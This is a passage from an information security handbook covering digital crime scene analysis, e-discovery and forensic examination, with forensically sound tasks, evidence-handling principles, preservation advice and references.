general approach dealing with the higher level investigative phases (analysis and reporting) is problematic, as these phases are context and content dependent, as are their equivalents in the more traditional physical-based investigations (Mocas, 2003). Context relates to what type crime has been committed or assumed (e.g., hacking incident, internal fraud or malfeasance, child porn, intellectual property theft). Content relates to the type of operating system and corresponding file system (Windows 2000, OS X, Solaris, VMS), nature of the system (personal computer, workstation, server), and, in some cases, volume of potential evidence. Thus, confining the discussion to the lower layers makes more sense.
Practical Approach The overriding principle behind the current approach is that computer crime scene analysis and computer forensics are not based on some tool, technology, or piece of software (McKemmish, 1999). The exact
DCSA: A Practical Approach to Digital Crime Scene Analysis
607
tools, applications, etc. are irrelevant. What is important is adhering to the principles of being methodical and accurate, ensuring the authenticity and reproducibility of evidence, maintaining the chain of custody, and minimizing contamination of the original scene. Like a carpenter who uses various tools (e.g., hammer, saw, screwdriver), a forensic investigator uses various tools as needed; the tools do not define the discipline. Although most of the current research has been directed toward all-encompassing generic models, a more realistic approach to assisting investigators — and at the same time appeasing the courts — is to develop investigative guidelines, or at the very least forensically sound tasks (FSTs) that are constrained to the actual crime scene or corpus delicti layer. By limiting the scope or domain of discussion in this fashion, several advantages arise. The first advantage stems from the fact that such an approach mirrors the real-world physical crime scene model, thus allowing for identification of analogous elements. A second advantage is that at the lower layer one can truly be generic and technology or platform neutral. The need for unique approaches based on context and content does not occur until the higher levels (i.e., analysis layer; see Figure 48.1). As suggested by previous researchers and scholars, for digital crime scene analysis to be consistent with established forensic principles it must develop some basic formalisms. As already discussed, formalism will help to appease the courts’ concerns and meet the criteria for scientific evidence. Rather than reinvent the wheel, an approach is required that incorporates generally accepted practices and standards. Because so-called best practices do not really exist, the use of generally accepted practices is sufficient. This is not only consistent with physical crime scene practices but is also consistent with information technology approaches (McKemmish, 1999; Mocas, 2003; Rogers, 2003). The information technology security field has struggled to identify best practices and has opted instead for generally accepted principles and practices (e.g., GAASP, GAISP, ISO 17799). These practices are based on higher order concepts dealing with confidentiality, integrity, and availability (the information security triad). Within the field of digital crime scene analysis and forensics, equivalent standards come from various governmental sources (e.g., the U.S. Department of Justice, National Institute of Justice, National White Collar Crime Center [NW3C], RCMP, Secret Service, Interpol, Scotland Yard, Department of Defense, GCHQ, G8), as well as the private sector (e.g., HTCIA, KPMG, Deloitte and Touche) and quasi-academia (e.g., IOCE, SWGDE). The current approach draws on work already conducted by these groups; the previous academic investigative models of Carrier and Spafford (2003), Beebe and Clark (2004), McKemmish (1999), and Mocas (2003); and the traditional crime scene approaches of Lee et al. (2002) and Saferstein (2004). As stated, the current approach is not new; it is based on the five phases or layers as proposed by Carrier and Spafford (2003) but adds an additional hierarchy of corpus delicti (see Figure 48.1) and lab. The corpus delicti layer encompasses what is traditionally thought of as the crime scene as well as a transportation phase. In this lower foundational phase, the computer can be part of a larger physical crime scene (secondary scene), its own primary scene, a material witness to events, or the corpse to be examined. The higher layers denoted as lab (analysis, examination, report) are not addressed, as they require unique approaches based on content and context. The term “lab” is used in the broadest sense to denote processes that usually occur in a controlled environment; the use of the term is not meant to indicate that these activities must be undertaken in some form of officially sanctioned or accredited laboratory (e.g., state ASCLD–Lab/ISO 17025-certified facility4). The corpus delicti layer is further subdivided into the subphases of (1) identification and recognition, and (2) collection. Identification includes not only identifying what might constitute individual pieces of evidence but also identifying what devices or digital storage media could contain evidence. On the surface, this sounds rather sophomoric, but with the trend toward small-footprint storage devices (e.g., USB thumb drives, watches with USB connections, USB pens, music players such as the iPod) the process of recognition becomes very complicated. The advent of digital storage capacity and network capability in entertainment systems (e.g., Tivo, DVRs), game systems such the Xbox, and now even refrigerators further complicates the matter of identification for first responders or investigators. When the identification and recognition phase has been completed, the evidence must be collected in a forensically sound manner (we will discuss what this actually means in subsequent sections). The collection phase encompasses the traditional bagging
608
Information Security Management Handbook
and tagging of computer systems and storage devices in some cases, as well as the acquiring of bitstream images from digital storage media in other cases. For simplicity’s sake, the forensically sound tasks are presented in a linear fashion; realistically, naturally occurring iterative relationships exist between various phases and tasks. Before proceeding further, an obligatory caveat is warranted: Never exceed your level of knowledge, skills, and abilities (KSA) or the abilities of the tools, applications, or techniques. Despite what vendors would have us believe, their tools have limitations (apologies to the vendor community who might actually read this) (McKemmish, 1999). This is without a doubt the best advice one can follow in any set of circumstances.
Properties and Rules McKemmish (1999) and Mocas (2003) identified several fundamental properties or rules of computer forensics. These properties or rules are derived from the areas of information security and incident response, are sensitive to standards of proof, and are presumably compatible with private-sector functional requirements (e.g., getting back up and running in a reasonable amount of time). These properties consist of integrity, authenticity, reproducibility, maintaining the evidence chain (chain of custody), and minimalization. Integrity relates to the fact that the evidence was not changed from the time it was collected until it is presented in a court, hearing, etc. Integrity and authenticity are often interdependent. To be authentic, the courts need to be satisfied that the evidence is a true copy of the original or as true as is possible. An example is producing identical hash totals (MD5, SHA 256) of the original drive contents and the bitstream image. Reproducibility relates to the reliability of the methods or techniques used. Ideally, another individual following the exact same steps as the original technician should find the same results. The evidence chain of custody is sacrosanct, and proving an unbroken chain to the court is a minimum requirement for admissibility. Minimalization refers to contaminating crime scenes as little as possible; realistically, some minor contamination is introduced into all scenes. The fundamental properties have also been identified by the SWGDE and High-Tech Crime Investigators Association (HTCIA) and form the basis of their approach to training, in the case of the HTCIA, and policy and accreditation and certification standards, for the SWGDE. The properties or rules form the basis for a framework for the development of forensically sound tasks.
Forensically Sound Tasks The focus of the tasks in Table 48.1 is on the application of crime scene techniques to the real world. The tasks are also technology neutral to the extent that they are conceptual based and purposely high level; the real world requires a certain amount of flexibility albeit within some parameters. The parameters for our purposes are the rules of evidence, standard of proof, and chain of custody. The importance of proper documentation with all the tasks cannot be stressed enough. Although some might argue that too much documentation may provide fertile ground for others to criticize what was done or omitted, the inability to recall important steps or variations of technique usually results in the proverbial death sentence — full suppression of any and all evidence derived from the tasks.
Control the Scene Controlling the scene is one of the most fundamental tasks. Failure to control a scene will negatively affect all of the other tasks and directly influences the five principles. The objective here is to create an adequate environment in which to carry out the subsequent tasks; however, unlike a pristine lab environment, the real world is not fully controllable. It is extremely rare to have absolutely no contamination, as an individual’s mere presence at the scene has altered the original state to some extent, however minute (Farmer and Venema, 2004). Heisenberg’s uncertainty principle would argue that merely viewing the scene causes changes at the quantum level; therefore, every scene is contaminated. Luckily, most courts have opted not to adopt such a literal interpretation of contamination (Farmer and Venema, 2004; Smith and Bace, 2002). It is vital that detailed notes be taken describing all the actions taken. Also, it is important to:
609
DCSA: A Practical Approach to Digital Crime Scene Analysis
TABLE 48.1 Forensically Sound Tasks Task Control the scene. Survey the scene. Document the scene.
Identify potential evidence and containers of evidence.
Determine the evidence modality (e.g., digital, physical, dynamic). Collect evidence based on modality. Collect any necessary standards. Package for transport. Turn over to lab or appropriate offsite facility.
Objective Create the proper environment to conduct the evidence collection. Determine the scope of the scene and the need for assistance in the next phases. Establish the context of the investigation. Allow investigators to describe the scene in detail and place activities conducted at the scene in context. Also, indicate the location of evidence, people, or evidence containers for possible use at the higher investigative levels Locate sources of potential evidence or objects that may contain evidence. If the search is conducted under a court order, determine that the order is valid or must be amended. Begin categorizing the evidence or containers of evidence to determine the best process by which to handle the evidence or container. Use techniques and tools appropriate to the modality of the evidence. Determine if any standards will be required for comparison at the higher levels and collect same if necessary. Ensure that no damage or contamination occurs and that all evidence is accounted for. Allow for detailed examination and analysis of evidence in a scientifically controlled environment and for the determination of long-term storage needs.
Principle/ Rule A, C, I, M, R M, R C, R
A, C, R
A, I, M, R
A, C, I, M, R A, I, R A, C, I, M, R C, I, R
Note: A = authenticity, C = chain of custody, I = integrity, M = minimalization, R = reproducibility.
• Quickly control the scene and all people and potential sources of evidence (e.g., isolating suspects, witnesses, systems from networks including the Internet). This may include disconnecting a system from any connections (wired and wireless networks, cable modems, dial-up modems) that may allow remote connections. • Contain the scene, which is of the utmost importance in order to minimize the amount of contamination.
Survey the Scene Understanding exactly what you are up against is necessary in order to determine what resources will be needed, both in terms of additional personnel, and equipment. The survey task should be conducted in a methodical, well-documented manner. This holds true whether the digital scene is primary, secondary, or the corpse. The ability to articulate the exact context of the scene and in some case reproduce the scene is an absolute necessity; this type of detail is often required when interpreting evidence in the analysis and examination phases, especially with event reconstruction. A survey will also assist in determining the approach that should be taken to the actual evidence identification and collection. It will also allow for determining strategies that minimize contamination and maximize the reproducibility of the actions taken. The investigator should: • Step back and observe the scene from the perspective of a neutral third party. Obtain a mental picture of the environment, its contents, and their interactions and dependencies. • Based on the observations, determine the approach that offers the greatest probability of obtaining the necessary evidence while at the same time producing the least amount of contamination.
610
Information Security Management Handbook
Document the Scene When a mental map of the scene has been processed, proceed to document the scene either diagrammatically or digitally (e.g., still camera, video). This task is the lynch pin for articulating the context and relationships of any evidence that is found. A picture or a video is really worth a thousand words when trying to describe to a forensic analyst, boss, tribunal, judge, jury, etc. what the scene looked like. This task is necessary even when the scene is confined to the actually computer itself (primary scene, corpse). One only has to think of trying to describe a small home network with four to five systems all interconnected or to remember what exact peripherals were attached to the suspect system. The chain of custody is dependent on effectively articulating the original location of evidence, thus the necessity for accurate documentation. In addition, • Make detailed notes, sketches, and diagrams, and take pictures from various angles to ensure a sense of context for those reviewing the case details at some future time. • If possible, take pictures of both the front and rear of all computer systems, devices. This will illustrate the state of connected peripherals and any unique cabling and connections.
Identification Although it sounds odd to reiterate the need for identification, the fact that we are dealing with digital evidence that does not come in a one-size-fits-all mode requires this. Advances in technology have drastically altered what is considered storage media. As storage media is often the primary source of evidence, care must be taken not to overlook the obvious and now the unobvious. To counter claims of tunnel vision and neglect in conducting a thorough investigation, all evidence and potential containers of evidence (e.g., storage devices) must be identified. This accurate and complete identification is required to satisfy the principles of authenticity, reproducibility, and the evidence custody chain. The investigator should: • Identify and recognize all possible storage media including both traditional devices (e.g., diskettes, hard drives, CDs, DVDs) and nontraditional devices (e.g., thumb drives, PDAs, cell phones, digital video recorders, Xboxes, USB devices). • Do not ignore analog and document-based sources of potential evidence (e.g., printouts, log books, journals, diaries, manuals, drawings).
Evidence Modality and Collection Determining the type of evidence (modality) allows the investigator to formulate a plan to effectively collect the evidence while minimizing the likelihood of contamination, maximizing authenticity and reproducibility, and maintaining the chain of custody. The modalities include physical, digital or electronic, and analog, as well as dynamic/transient (e.g., volatile memory, cache) and relatively stable (e.g., secondary memory storage, firmware, printouts). A thorough identification process greatly reduces the time required to carry out this task. Understanding the evidence modality and degree of transience also allows the investigator to prioritize the actual collection process. Dealing with both physical and digital or electronic evidence requires a diverse repertoire of tools, techniques, and processes. It is beyond the scope of this limited chapter to discuss all possible contingencies. It suffices to say that if an investigator, technician, or first responder has correctly and diligently carried out the previous tasks, this task becomes more a matter of mechanics (i.e., the appropriate tool, technique, and process for the type of evidence). The same approach holds for the traditional crime scene analysis approach and is in fact the direct result of following a formal, methodical approach. The challenge becomes one of collecting the evidence without introducing any unnecessary contamination. The exact approach to this depends on the modality of the evidence, the degree of control over the scene (e.g., amount of isolation), and the overall context of the investigation:
DCSA: A Practical Approach to Digital Crime Scene Analysis
• • • • •
611
Determine priority by order of volatility (i.e., most transient first). Focus on digital or electronic evidence first, as it is usually more volatile than physical evidence. Further prioritize digital or electronic evidence based on its volatility. Use the correct tools, techniques, and processes. Document every step taken, and be prepared to discuss what was done and what may have been omitted from the task.
Collection Standards The requirement for the comparison of any collected evidence to some standard is not just a concern for physical crime scenes and evidence. It may be the case that printouts, photographs, scans, etc. must be compared to electronic or digital versions of these same items discovered on a storage device or system. This goes to the authenticity of digital evidence and indirectly to the integrity. Successfully determining that the document in question and the file located on the suspect system are related is strong proof in the eyes of the court or jury that the digital evidence is trustworthy. It is therefore necessary to identify any potential standard. Again, the exact nature of what this constitutes is dependent on the context of the investigation and the environment being examined. Regardless, understanding that comparison and event reconstruction are important activities in the analysis and examination phases allows the individual collecting the evidence to be more observant: • Do not overlook analog or document evidence such as printouts, pictures, photocopies, etc. • Thoroughly document the relative position of any item seized as a potential standard for comparison.
Package for Transport This task is probably the second most crucial event in crime scene analysis. More than a few investigations have crumbled because of a lack of attention to proper transportation or care in handling. It is only natural, with the “end of the tunnel” in sight, to rush this task and take short cuts. The potential negative impact on the evidence custody chain cannot be stressed enough. Evidence, for probably the first time since the scene was controlled, will leave the controlled “scientific” environment and enter the “no man’s” land that lies between the scene and the lab. It is crucial to remember that the chain of evidence extends to all activities related to the life cycle of the evidence (this is often referred to as “from the birth to death of the evidence”). Any inability to account for the who, when, what, where, how, and why of the evidence greatly increases the chances of its being suppressed or at the very least having its authenticity and integrity questioned. This task also impacts on the potential for being held liable for damages directly or indirectly related to the negligent handling of evidence (e.g., loss of critical data, physical damage to computer systems or devices). Here, again, a thorough understanding of the sensitivity of various data or equipment is necessary (e.g., tolerable temperature and humidity ranges, sensitivity to vibrations and electromagnetic radiation, tolerance to long-term storage without electricity). The investigator should: • Use common sense and package evidence in appropriate containers (e.g., antistatic bags, bubble wrap). • Understand the tolerance of various sources of evidence to electromagnetic sources (e.g., magnets, radio transmitters). • Document all decisions made and be prepared to articulate the reasons for making decisions that could be considered outside of the norm (e.g., leaving computer systems exposed to extreme temperatures or particulates such as dust or transporting the components for prolonged periods without adequate protection from vibrations or external pressures).
612
Information Security Management Handbook
Turn Over to the Lab As already mentioned, the term “lab” is used in the loosest sense. The lab can be merely a controlled environment back at the office or police station, a private lab, or a governmental lab facility. Regardless of the actual facility, it must have procedures, standards, and processes in place to ensure that the integrity and chain of custody are maintained until the end of the evidence life cycle, which includes returning the system or device back to the owner, repurposing the system, returning the system or device or data back into the production environment, destroying it, storing it until appeal, etc. The lab environment is usually where the analysis, examination, and report phases and tasks take place. Depending on the exact circumstances of the investigation, the analysis and examination may take place on site (in situ). In these cases, the field examination is often just a cursory look to confirm the grounds for probable cause or the issuance of a court order or to assist in the field interview of any suspects. The investigator should: • Document and have the person to whom the evidence has been turned over sign for the said evidence. • Ensure that any facility has proper equipment, standards, and procedures in place to store digital or electronic evidence.5 • Be sure that all persons in contact with the evidence have the prerequisite knowledge, skills, and abilities, as well as up-to-date training on how to deal with digital evidence.
Conclusions Despite the introduction of technology to the crime scene, digital crime scenes are not all that different from the traditional physical crime scene, at least at the lower or more fundamental levels (McKemmish, 1999; Meyers and Rogers, 2004; Mocas, 2003). This similarity, while often overlooked in the development of all encompassing investigative models, allows digital crime scene analysis to be judged by the same scientific evidence criteria (i.e., Daubert) as the other more common forensic disciplines (e.g., DNA, fingerprint analysis). With the ever-increasing scrutiny and, in some regards, understanding of digital forensics, the judiciary is becoming more stringent in determining what evidence will be admissible. On the criminal side, the field of computer forensics has historically relied on a lack of understanding and the fear of technology by judges, defense attorneys, and jurors. Times have changed. Judicial training programs are now incorporating workshops on digital evidence; bar associations are providing similar professional development training for both prosecutors and defense attorneys. Certificate, degree, and masters programs are popping up at colleges and four-year degree granting institutions. The private sector has also jumped on the bandwagon with consulting services and training programs. Vendors and private for-profit groups are offering various certifications and “boot camps.” This attention is placing a great demand on the discipline to mature rapidly and move from ad hoc approaches to some sort of formalized approach based on a strong theoretical foundation and pragmatic objectives. Although it is not realistic to believe that the formalization will occur overnight, it is not unrealistic to demand that certain foundations be laid appropriately from a legal, scientific, or criminalistic and practical perspective. This chapter was an attempt to nudge the field into a logical direction: the development of basic crime scene analysis processes analogous to what is currently being done and standardized with the traditional physical crime scenes. Rather than reinvent the wheel, following in the footsteps of Lee et al. (2001) and adopting or repurposing a tried and tested approach only makes sense. The theoretical work in the area of digital crime scene analysis and investigations provides a good launching point but is far from sufficient to meet the goal of developing a common approach. It is illogical to try to develop an approach that covers all contingencies and types of digital crime. Digital or computer crime is a vacuous term that is so all encompassing as to be of little utility when attempting to work at a granular level. We do not have one common investigative approach for all physical crimes, so why think digital would be any different? However, if we step back and deconstruct the digital investigation into its
DCSA: A Practical Approach to Digital Crime Scene Analysis
613
basic elements or phases, we find that, at certain levels, like in traditional investigations, generic or at least generalizable tasks across all cases can be identified (see Figure 48.1). This also allows us to define overarching forensic principles or rules that act as constraints for gauging the degree of forensic “soundness.” By focusing on these levels, forensically sound tasks can be identified and mapped to objectives and to the defined forensic principles. The nine tasks as outlined in Table 48.1 are consistent with the methodology and tasks carried out with more traditional physical crime scenes. The tasks are high level, fairly generic, and consistent with the common principles of criminalistics and provide a necessary if not sufficient framework for conducting a digital crime scene analysis. The fact that the tasks may not be completely sufficient is understandable, as the approach is designed to be a minimum framework and not a maximum or checklist in the true sense. As Beebe and Clark (2004) stated, a checklist can be a negative, as it tends to be restrictive and constrains the actual investigative process. The approach described in this chapter is not new. It is merely taking what has already been done in criminalistics, IT security, incident response, and theoretical digital forensics and combining the outputs into an approach that maps well to both the real world and the legal requirements that define a discipline as forensics. The objective was to provide some insight on crime scene analysis in general and on practical digital crime scene analysis in particular. More work is obviously necessary in order to mature digital forensics into a real forensic discipline that will assist government, law enforcement, and the private sector in dealing with the increasing amount of computer or cyber crime. What is ultimately required is a better marriage between traditional criminalistics and technological processes. This can only happen if the field becomes more future oriented and looks to the near- and long-term foreseeable challenges and issues, as opposed to the current approach of focusing on what has happened in the past. I believe that this chapter is a step in that direction. “There is nothing more deceptive than an obvious fact.” — Sherlock Holmes (The Boscombe Valley Mystery, by Sir Arthur Conan Doyle)
Notes 1. Due to the unique characteristics of the practice of law and jurisprudence, the criteria for acceptance will be based on the U.S. common law standard. 2. Daubert v Merrell Dow Pharmaceuticals, Inc., 509 US 579, 1993. In a case involving the admissibility of scientific expert testimony, the U.S. Supreme Court held that: (1) such testimony was admissible only if relevant and reliable; (2) the federal rules of evidence (FRE) assigned to the trial judge the task of ensuring that an expert’s testimony rested on a reliable foundation and was relevant to the task at hand; and (3) some or all of certain specific factors — such as testing, peer review, error rates, and acceptability in the relevant scientific community — might possibly prove helpful in determining the reliability of a particular scientific theory or technique. 3. In Kumho Tire v Carmichael, the Daubert criteria were expanded to include testimony by engineers and other technical witnesses who are not scientists. 4. American Academy of Crime Lab Directors (SCLD-Lab) is the current U.S. standard and is in the process of becoming compliant with the ISO 17025 lab certification standard. 5. Several organizations outline minimum standards for the storage and care of digital evidence (e.g., www.swgde.org, ASCLAD-LAB Standards, ISO 17025).
References Ahmad, A. 2002. The forensic chain-of-evidence model: improving the process of evidence collection in incident handling procedures. In Proc. of the 6th Pacific Asia Conference on Information Systems, Tokyo, Japan, September 2–4, 2002 (http://www.dis.unimelb.edu.au/staff/atif/AhmadPACIS.pdf). Bates, J. 1997. Fundamentals of computer forensics. Int. J. Forensic Comput. Jan./Feb.
614
Information Security Management Handbook
Beebe, N. and J. Clark. 2004. A Hierarchical, Objectives-Based Framework for the Digital Investigations Process, paper presented at the Digital Forensic Research Workshop (DFRWS), Baltimore, MD, June. Baryamureeba, V. and F. Tushabe. 2004. The Enhanced Digital Investigation Process Model, paper presented at the Digital Forensic Research Workshop (DFRWS), Baltimore, MD, June. Carrier, B. and E. Spafford. 2003. Getting physical with the digital investigation process. Int. J. Digital Evidence 2(2). Farmer, D. and V. Venema. 2004. Forensic Discovery. Boston: Addison-Wesley. Lee, H., T. Palmbach, and M. Miller. 2001. Henry Lee’s Crime Scene Handbook. San Diego: Academic Press. McKemmish, R. 1999. What is forensic computing? In Trends and Issues, Vol. 118. Canberra: Australian Institute of Criminology. Meyers, M. and M. Rogers. 2004. Computer forensics: the need for standardization and certification within the U.S. court systems. Int. J. Digital Evidence 3(2). Mocas, S. 2003. Building Theoretical Underpinnings for Digital Forensics Research, paper presented at the Digital Forensic Research Workshop (DFRWS), Cleveland, OH, August. Nickell, J. and J. Fischer. 1998. Crime Science Methods of Forensic Detection. Lexington: The University Press of Kentucky. Noblett, M. G., M. M. Pollitt, and L.A. Presley. 2000. Recovering and examining computer forensic evidence. Forensic Sci. Commun. 2(4) (http://www.fbi.gov/hq/lab/fsc/backissu/oct2000/computer. htm). Reith, M., C. Carr, and G. Gunsch. 2002. An examination of digital forensic models. Int. J. Digital Evidence 1(3). Rogers, M. 2003. Computer forensics: science or fad. Security Wire Dig. 5(55). Rogers, M. and K. Seigfried. 2004. The future of computer forensics: a needs analysis survey. Computers Security 23(1):12–16. Saferstein, R. 2004. Criminalistics: An Introduction to Forensic Science, 8th edition. Upper Saddle River, NJ: Pearson Education. Smith, F. and R. Bace. 2003. A Guide to Forensic Testimony: The Art and Practice of Presenting Testimony as an Expert Technical Witness. Boston: Addison-Wesley.
49 What a Computer Security Professional Needs To Know about E-Discovery and Digital Forensics Larry R. Leibrock
Relevance The profession of the systems security officer has become well defined as agencies and business entities have established and proactively manage information protection programs that involve the use of computers, networks, and digital devices supporting the flow of information, communications, business, and financial transactions. The role of a computer security officer (CSO) is increasingly involved with supporting the collection, safeguarding, and production of computer-based data which is needed for investigation and litigation of administrative, civil, and criminal matters. The CSO is sometimes tasked with providing both advice and assistance in collecting and producing digital information that has been requested by the investigating parties in these matters. As the utility of electronic discovery and digital forensics investigations becomes more apparent, the security professional should become more aware of these matters.
Introduction Personal computers and the Internet have revolutionized communication, work, and leisure. Consider these facts: • In 2004, an estimated 224 million personal computers were in use in the United States, 69 million in Japan, and 46 million in Germany. • In 2001, over 60% of U.S. households owned at least one personal computer. • E-mail and instant messaging are the dominant applications in personal computing. • Some analysts estimate that our need to create, access, and store digital data increases about 50 to 100 percent each year. • Both internal investigation and litigation frequently center on the discovery and legal review of documents that are in digital form.
615
616
Information Security Management Handbook
Investigative and Legal Discovery According to Legal Definitions on the Web, “discovery” is the process of gathering information in preparation for trial. This legal process is based on proper discovery of data, materials, and facts relevant to judicial disputes. Traditionally, the courts have used paper-based documentation to support or refute allegations. The legal investigation of digital information is a fairly new occurrence. Recently, many investigations have focused on electronic personal or business communications, such as e-mail and instant messaging. Examples that come to mind are the white-collar and improper stock-trading litigations dealing with both civil and criminal allegations. As our legal system becomes more aware of electronic discovery and the forensics processes of recovering data, we should expect more use of these types of investigations in a wide range of administrative, civil, and criminal issues. With the increasing range and capacities of digital devices, much evidence exists only in digital forms. Many people believe that modern science founded electronic discovery and digital forensics, but the underlying scientific principle is historical. In 1910, Edmond Locard in Lyon, France, framed Locard’s exchange principle, which states that when two objects (for example, a person and a computer) come into contact, there is always transference of material from each object onto the other. The Locard exchange principle can be restated for our purposes as: Each user’s interaction with digital devices leaves both user and usage data on the particular computer device and certain remnants of data remain on the device. Electronic discovery is the practice of analyzing and developing opinions about data and information that once were stored in digital form and have been extracted, culled, sorted, and produced in paper or viewable formats. Typically, electronic discovery does not focus on binary data in the deleted, recycled, or unallocated form. In contrast to electronic discovery, digital forensics investigations focus on allocated, unallocated, and fragmentary data. As a working term, digital forensics is the legal and ethical practice of collecting, examining, investigating, reporting facts, and developing expert opinions about digital data in its native binary form. Procedures are based in science. Both electronic discovery and digital forensics investigations deal with these established processes: collection, examination, investigation, and reporting. The processes were developed to properly: • Safeguard the original suspect data. • Retrieve the suspect data, while not altering or potentially interfering with the original state of the suspect data. • Investigate the suspect data for the presence of applications or contraband information and the matching of key search terms. • Report opinions about findings in the suspect digital data. The opinions involve making expert characterizations of these items: Person (user account) Platform (the device, such as computer, cell phone, digital camera, or e-mail server) Application program Data and fragments of data Time and date tokens These digital forensics tools perform the tasks listed above: • Collection — Protect the data from any potential changes, chain of custody documentation, contemporized records with enumerated devices or media. • Copy — Perform a sector-to-sector physical (not logical) copy, which serves to extract digital data and fragments contained on the media, and acquire suspect data. (Note that this is not an operating system copy or move, which alters certain data). The sector-to-sector copy of the suspect media is typically completed with the use of a verification hash (SHA 1 or MD5) that serves to verify the integrity of the forensics copy.
E-Discovery and Digital Forensics
617
• Examination — Use a forensics tool that serves to “undelete” digital data in the unallocated file space of the suspect platform; this serves to forensically recover the unallocated and data fragments in order to conduct further forensics investigations. • Investigation — Conduct a series of key term searches of the extracted data for the presence of programs, graphic images, key words, or cryptographic tokens (known as string or term searching). • Reporting — Prepare bench notes, investigator comments, specific screen captures, and a series of interim, final, and supplemental expert forensics reports that reflect the forensics examiner’s opinions and the basis for these opinions.
Examiner Focus The forensics examiner usually will focus on the following areas during the typical forensics examination of a computer system. This is the general step-by-step forensics examiner procedure: • • • • • • • • • • •
Sector-to-sector copy with hash integrity tools for verification File signature analysis Recycle bin review E-mail review Allocated files characterization Deleted files characterization Special operating files (SWAP, SLACK) review Browser history review Special or notable programs characterization Accounting and credit card data review Graphics and pictures review
Typical Data Morphology from a Forensics Perspective Digital data contained in devices typically has distinct forms: • Archival — Data stored on backup tapes or removable media (such as CDs or thumb drives) • Active — Data that is in use by the operating system • Unallocated — Data that is no longer in use by the operating system; the data is residual and the space it occupies subsequently may be used to store active data not now in use and available for future use
The Allocation and Deallocation of Data Operating systems in most computer devices have constraints in efficiently controlling input/output storage needs and effectively conducting file management operations, such as: • • • •
Creating data Writing data Accessing data Retiring unneeded data
All of these file management operations take place on the physical storage media, such as the magnetic disk, or removable storage device, such as a diskette or USB storage dongle. Most operating systems deallocate data from the operating system file table and write to the next available file space rather than overwriting the current data. This approach efficiently uses computational resources and saves system time. Reiterated, the allocation and deallocation of files efficiently balances computational resources and time. System users do not recognize that most environments do not delete data; rather, data is deallocated and subsequently overwritten by successive files, as the system performs file management operations.
618
Information Security Management Handbook
Security Professionals in Electronic Discovery and Digital Forensics Computer security professions should consider these suggestions: • Information security managers or computer security officers should develop a close collaboration with the organization’s legal office or corporate counsel. Communicate your roles and responsibilities to them and understand the different ways in which you can help in answering questions, developing responses to legal inquiries, managing requests for production of digital records needed in investigations, and aiding electronic discovery and digital forensics matters. Spend time understanding recent legislation (for example, Sarbanes–Oxley). • Spend some time with your legal staff to develop an understanding of legal terms relevant to lawsuits and investigative processes. Typically, after a legal suit arises, the parties exchange requests to produce and exchange certain materials. Given some requirements for digital data, the opposing party may provide a written notice to preserve, which is sent to the counsel representing your agency or business. If your counsel receives this preservation notice and you are given a copy, carefully read the details and recognize the potential scope of the discovery requirements. Work with the IT staff to locate the potential storage points for the request, and notify the executive or legal team of any concerns you have about proper safeguarding and preservation. • You may be asked to help map your networks and prepare lists of servers or client platforms that may contain data needed by the parties in this litigation. Be sure the mappings and reports are accurate and detailed. Make sure you communicate details about data archives, back-up locations, and potential repositories of digital data. These details should be recorded, and you should keep your own copy of these records. • Do not undertake any forensics investigation unless you have: Been authorized by management to undertake the specific investigation Received competent forensics technical education Achieved the necessary skills with forensics protocols Current and practical experience in dealing with the forensics discovery and proper examination of specified types of computer devices (e.g., clients, servers, personal digital assistants, cell phones, digital cameras) A professional and personal disinterested relationship with the subjects of this investigative matter • If you have received any administrative or legal notice to preserve digital devices or data, work with IT systems staff and management to immediately stop using any utility programs, archiving utilities, disk compaction tools, file managers, or virus programs that may potentially alter digital data in use on these devices. Prevent potential data destruction by immediately ceasing archival tape overwriting. • Ensure that you have fully accounted for any subject equipment or digital devices by serial numbers, and make sure these devices are physically protected until they can be forensically examined as necessary in any discovery notice or court order for both inventory and evidentiary purposes. • For digital devices that are specified for further forensics examinations, remember the following rule — If the digital device is on, let it stay on until a forensics sector-by-sector data extraction can be performed by a competent forensics specialist. If the device is off, keep it off until a forensics specialist is available to conduct the examination. • Properly safeguard, in locked containers or restricted access rooms, backup media, archival data records, and disk storage replacements that are within the scope of the preservation notice. Access to the containers or room should be carefully controlled to maintain a chain of custody, which is necessary to properly preserve the data and records during the course of the litigation. • Keep complete and correct records of your notices, preservation activities, and digital devices that are in the scope of your notice to preserve.
E-Discovery and Digital Forensics
619
• Secure copies of the agency records retention policy, systems security policies, and agency or corporate acceptable use policy. These should be protected in your professional files and properly produced when requested by management or counsels. • As the security professional in the security organization, provide all suitable technical aid and support for the forensics team in the scope of its investigation. Typically you will be asked to support certain activities necessary for the collection and production of media, systems, or records. • Understand that you may be deposed in adversary settings and your actions and your records will be subject to review and depositional questioning. As an information security professional, you must act to ensure that you have been diligent in performing your assigned duties to secure and protect digital data in these electronic discovery and forensics matters. Your recordkeeping should be both correct and complete. In recent litigation involving agencies and business entities, we have seen that frequently both the chief information officer (CIO) and the computer security officer (CSO) are named parties and, therefore, the center of adversarial review in discovery matters. As named parties, these positions will have to respond to many requests for information, records, files, and materials for review by the opposing counsels. Also as named parties in a litigation matter, they should prepare and expect to undergo depositions for these electronic discovery matters. In the depositions, the records, agency or business policies, and actions and decisions of the CSO and CIO will undergo adversary scrutiny. Accordingly, the information security professional should build awareness and maintain high levels of currency in the skills necessary to meet these challenges of electronic discovery and digital forensics.
This page intentionally left blank
50 How To Begin a Non-Liturgical Forensic Examination Carol Stucki When you have obtained the go-ahead from management to begin an investigation, you will find the steps and procedures for many types of investigations in this chapter. The most common and main type of investigation that this chapter discusses is the non-liturgical examination. The non-liturgical investigation is one that is not foreseen to be taken to trial or involve litigation; however, you should always conduct the investigation using the same procedures as if you are going to trial. By conducting an investigation in this manner, you will have all the evidence you need in the necessary format to present to company management or in a courtroom. One of the first things to consider is whether or not you need to isolate equipment or files. If it is necessary to do so, you will need to move quickly on this in order to preserve any possible evidence. What you preserve and find on the equipment, most likely a PC, will be the basis of your forensic examination. This chapter reviews such topics as the isolation of equipment, isolation of files, tracking Web sites visited, tracking log-on duration and times, tracking illicit software installation and use, and how to correlate the evidence found.
